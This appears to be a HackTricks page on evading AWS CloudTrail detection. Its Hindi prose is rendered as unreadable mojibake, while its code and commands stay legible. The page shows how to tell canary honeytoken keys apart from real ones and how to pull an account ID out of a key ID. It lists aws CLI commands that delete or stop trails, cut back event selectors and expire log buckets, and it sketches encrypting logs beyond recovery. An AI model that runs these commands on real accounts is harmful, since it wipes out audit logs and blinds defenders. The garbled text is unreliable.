Honeytokens рдХреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред AWS рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпреЗ AWS рдХреБрдВрдЬреА рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ рдореЙрдирд┐рдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрджрд┐ рдЙрд╕ рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рдХреЛрдИ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреА рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдХрд┐рд╕реА рдиреЗ рд╡рд╣ рдХреБрдВрдЬреА рдЪреБрд░рд╛ рд▓реА рд╣реИред

рд╣рд╛рд▓рд╛рдВрдХрд┐, Canarytokens, SpaceCrab, SpaceSiren рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдЧрдП Honeytokens рдпрд╛ рддреЛ рдкрд╣рдЪрд╛рдирдиреЗ рдпреЛрдЧреНрдп рдЦрд╛рддрд╛ рдирд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдпрд╛ рд╕рднреА рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реА AWS рдЦрд╛рддрд╛ ID рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдЦрд╛рддрд╛ рдирд╛рдо рдФрд░/рдпрд╛ рдЦрд╛рддрд╛ ID рдХреЛ рдмрд┐рдирд╛ Cloudtrail рдХреЗ рдХреЛрдИ рд▓реЙрдЧ рдмрдирд╛рдП рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреБрдВрдЬреА рдПрдХ honeytoken рд╣реИ рдпрд╛ рдирд╣реАрдВред

Pacu рдХреЗ рдкрд╛рд╕ рдХреБрдЫ рдирд┐рдпрдо рд╣реИрдВ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдХреБрдВрдЬреА Canarytokens, SpaceCrab, SpaceSiren** рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ:**

  • рдпрджрд┐ canarytokens.org рднреВрдорд┐рдХрд╛ рдирд╛рдо рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ рдпрд╛ рдЦрд╛рддрд╛ ID 534261010715 рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИред

  • рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдЙрдирдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рддреЗ рд╕рдордп, рд╡реЗ рдЦрд╛рддрд╛ 717712589309 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдФрд░ рдирд╛рдо рдореЗрдВ рдЕрднреА рднреА canarytokens.com рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╣реИред

  • рдпрджрд┐ SpaceCrab рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдореЗрдВ рднреВрдорд┐рдХрд╛ рдирд╛рдо рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ

  • SpaceSiren рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП uuids рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • рдпрджрд┐ рдирд╛рдо рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд░реВрдк рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдПрдХ HoneyToken рд╣реЛрдиреЗ рдХреА рдЙрдЪреНрдЪ рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ рд╣реИрдВред

рдХреБрдВрдЬреА ID рд╕реЗ рдЦрд╛рддрд╛ ID рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

рдЖрдк рдПрдХреНрд╕реЗрд╕ рдХреБрдВрдЬреА рдХреЗ рдЕрдВрджрд░ рдХреЛрдбрд┐рдд рд╕реЗ рдЦрд╛рддрд╛ ID рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ рдпрд╣рд╛рдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдЕрдкрдиреЗ Honeytokens AWS рдЦрд╛рддреЛрдВ рдХреА рд╕реВрдЪреА рдХреЗ рд╕рд╛рде рдЦрд╛рддрд╛ ID рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Check more information in the orginal research.

рд▓реЙрдЧ рдЙрддреНрдкрдиреНрди рди рдХрд░реЗрдВ

рдЗрд╕рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдкреНрд░рднрд╛рд╡реА рддрдХрдиреАрдХ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдХ рд╕рд░рд▓ рд╣реИред рдмрд╕ рдЙрд╕ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рдЕрднреА рдкрд╛рдпрд╛ рд╣реИ рддрд╛рдХрд┐ рдЕрдкрдиреЗ рд╣рдорд▓рд╛рд╡рд░ рдЦрд╛рддреЗ рдХреЗ рдЕрдВрджрд░ рдХрд┐рд╕реА рд╕реЗрд╡рд╛ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХреЗрдВред рдЗрд╕рд╕реЗ CloudTrail рдЖрдкрдХреЗ рдЕрдкрдиреЗ AWS рдЦрд╛рддреЗ рдХреЗ рдЕрдВрджрд░ рдПрдХ рд▓реЙрдЧ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ рдФрд░ рдкреАрдбрд╝рд┐рдд рдХреЗ рдЕрдВрджрд░ рдирд╣реАрдВред

рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ рдЖрдЙрдЯрдкреБрдЯ рдЖрдкрдХреЛ рдПрдХ рддреНрд░реБрдЯрд┐ рджрд┐рдЦрд╛рдПрдЧрд╛ рдЬреЛ рдЦрд╛рддрд╛ рдЖрдИрдбреА рдФрд░ рдЦрд╛рддрд╛ рдирд╛рдо рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдк рджреЗрдЦ рд╕рдХреЗрдВрдЧреЗ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдПрдХ Honeytoken рд╣реИред

рд▓реЙрдЧ рдХреЗ рдмрд┐рдирд╛ AWS рд╕реЗрд╡рд╛рдПрдБ

рдЕрддреАрдд рдореЗрдВ рдХреБрдЫ AWS рд╕реЗрд╡рд╛рдПрдБ рдереАрдВ рдЬреЛ CloudTrail рдХреЛ рд▓реЙрдЧ рдирд╣реАрдВ рднреЗрдЬрддреА рдереАрдВ (рдпрд╣рд╛рдБ рд╕реВрдЪреА рдЦреЛрдЬреЗрдВ). рдЙрди рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ рд╕реЗ рдХреБрдЫ рддреНрд░реБрдЯрд┐ рдХреЗ рд╕рд╛рде рдХреБрдВрдЬреА рднреВрдорд┐рдХрд╛ рдХрд╛ ARN рдкреНрд░рджрд╛рди рдХрд░реЗрдВрдЧреА рдпрджрд┐ рдХреЛрдИ рдЕрдирдзрд┐рдХреГрдд (рд╣рдиреАрдЯреЛрдХрди рдХреБрдВрдЬреА) рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред

рдЗрд╕ рддрд░рд╣, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдмрд┐рдирд╛ рдХрд┐рд╕реА рд▓реЙрдЧ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдП рдХреБрдВрдЬреА рдХрд╛ ARN рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред ARN рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ AWS рдЦрд╛рддрд╛ рдЖрдИрдбреА рдФрд░ рдирд╛рдо рджреЗрдЦ рд╕рдХрддрд╛ рд╣реИ, рд╣рдиреАрдЯреЛрдХрди рдХреА рдХрдВрдкрдирд┐рдпреЛрдВ рдХреЗ рдЦрд╛рддреЗ рдХреА рдЖрдИрдбреА рдФрд░ рдирд╛рдо рдЬрд╛рдирдирд╛ рдЖрд╕рд╛рди рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕ рддрд░рд╣ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдпрд╣ рдкрд╣рдЪрд╛рди рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЯреЛрдХрди рдПрдХ HoneyToken рд╣реИред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╕рднреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ APIs рдЬреЛ CloudTrail рд▓реЙрдЧ рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рдХрд░ рд░рд╣реА рдереАрдВ, рдЕрдм рдареАрдХ рдХрд░ рджреА рдЧрдИ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рд╢рд╛рдпрдж рдЖрдкрдХреЛ рдЕрдкрдиреА рдЦреБрдж рдХреА рдЦреЛрдЬ рдХрд░рдиреА рд╣реЛрдЧреА...

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдореВрд▓ рд╢реЛрдз рджреЗрдЦреЗрдВред

рддреАрд╕рд░реА рдЕрд╡рд╕рдВрд░рдЪрдирд╛ рддрдХ рдкрд╣реБрдБрдЪ

рдХреБрдЫ AWS рд╕реЗрд╡рд╛рдПрдБ рдХреБрдЫ рдЕрд╡рд╕рдВрд░рдЪрдирд╛ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВрдЧреА рдЬреИрд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдпрд╛ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреНрд▓рд╕реНрдЯрд░ (EKS)ред рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реАрдзреЗ рдЙрди рд╕реЗрд╡рд╛рдУрдВ рд╕реЗ рдмрд╛рдд рдХрд░ рд░рд╣рд╛ рд╣реИ (рдЬреИрд╕реЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ API) AWS API рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рдЗрд╕рд▓рд┐рдП CloudTrail рдЗрд╕ рд╕рдВрдЪрд╛рд░ рдХреЛ рдирд╣реАрдВ рджреЗрдЦ рдкрд╛рдПрдЧрд╛ред

рдЗрд╕рд▓рд┐рдП, EKS рддрдХ рдкрд╣реБрдБрдЪ рд░рдЦрдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬрд┐рд╕рдиреЗ EKS API рдХрд╛ URL рдЦреЛрдЬрд╛ рд╣реИ, рд╡рд╣ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдПрдХ рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ API рд╕реЗрд╡рд╛ рд╕реЗ рд╕реАрдзреЗ рдмрд╛рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдмрд┐рдирд╛ Cloudtrail рджреНрд╡рд╛рд░рд╛ рдкрддрд╛ рд▓рдЧрд╛рдПред

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП:

AWS - EKS Post Exploitation

CloudTrail рдХреЙрдиреНрдлрд╝рд┐рдЧ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛

рдЯреНрд░реЗрд▓реНрд╕ рд╣рдЯрд╛рдПрдБ

aws cloudtrail delete-trail --name [trail-name]

рдЯреНрд░реЗрд▓реНрд╕ рд░реЛрдХреЗрдВ

aws cloudtrail stop-logging --name [trail-name]

рдорд▓реНрдЯреА-рд░реАрдЬрди рд▓реЙрдЧрд┐рдВрдЧ рдмрдВрдж рдХрд░реЗрдВ

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

рдЗрд╡реЗрдВрдЯ рдЪрдпрдирдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рд▓реЙрдЧрд┐рдВрдЧ рдмрдВрдж рдХрд░реЗрдВ

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

рдкрд╣рд▓реЗ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдПрдХрд▓ рдЗрд╡реЗрдВрдЯ рдЪрдпрдирдХрд░реНрддрд╛ рдХреЛ рдПрдХ JSON рдПрд░реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХрд▓ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд╕рд╛рде рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред "ReadWriteType": "ReadOnly" рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЗрд╡реЗрдВрдЯ рдЪрдпрдирдХрд░реНрддрд╛ рдХреЛ рдХреЗрд╡рд▓ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╡реЗрдВрдЯ рдХреИрдкреНрдЪрд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП (рдЗрд╕рд▓рд┐рдП CloudTrail рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рд▓рд┐рдЦрдиреЗ рдХреЗ рдЗрд╡реЗрдВрдЯ рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХрд░реЗрдЧреА рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП)ред

рдЖрдк рдЕрдкрдиреА рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЗрд╡реЗрдВрдЯ рдЪрдпрдирдХрд░реНрддрд╛ рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

S3 рдЬреАрд╡рдирдЪрдХреНрд░ рдиреАрддрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓реЙрдЧ рд╣рдЯрд╛рдирд╛

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

рдмрдХреЗрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ рд╕рдВрд╢реЛрдзрди

  • S3 рдмрдХреЗрдЯ рдХреЛ рд╣рдЯрд╛рдПрдБ

  • рдмрдХреЗрдЯ рдиреАрддрд┐ рдХреЛ рдмрджрд▓реЗрдВ рддрд╛рдХрд┐ CloudTrail рд╕реЗрд╡рд╛ рд╕реЗ рдХрд┐рд╕реА рднреА рд▓реЗрдЦрди рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ

  • S3 рдмрдХреЗрдЯ рдореЗрдВ рдЬреАрд╡рдирдЪрдХреНрд░ рдиреАрддрд┐ рдЬреЛрдбрд╝реЗрдВ рддрд╛рдХрд┐ рд╡рд╕реНрддреБрдУрдВ рдХреЛ рд╣рдЯрд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ

  • CloudTrail рд▓реЙрдЧ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП kms рдХреБрдВрдЬреА рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░реЗрдВ

Cloudtrail рд░реИрдирд╕рдорд╡реЗрдпрд░

S3 рд░реИрдирд╕рдорд╡реЗрдпрд░

рдЖрдк рдПрдХ рд╡рд┐рд╖рдо рдХреБрдВрдЬреА рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ CloudTrail рдХреЛ рдЙрд╕ рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рдбреЗрдЯрд╛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреЛ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ CloudTrail рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ рдПрдХ S3-KMS рд░реИрдирд╕рдорд╡реЗрдпрд░ рд╣реИ рдЬреЛ рдЗрд╕ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

AWS - S3 Post Exploitation

KMS рд░реИрдирд╕рдорд╡реЗрдпрд░

рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдкрд┐рдЫрд▓реЗ рд╣рдорд▓реЗ рдХреЛ рдХрд░рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рд╣реИ:

AWS - KMS Post Exploitation

рд╕рдВрджрд░реНрдн

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated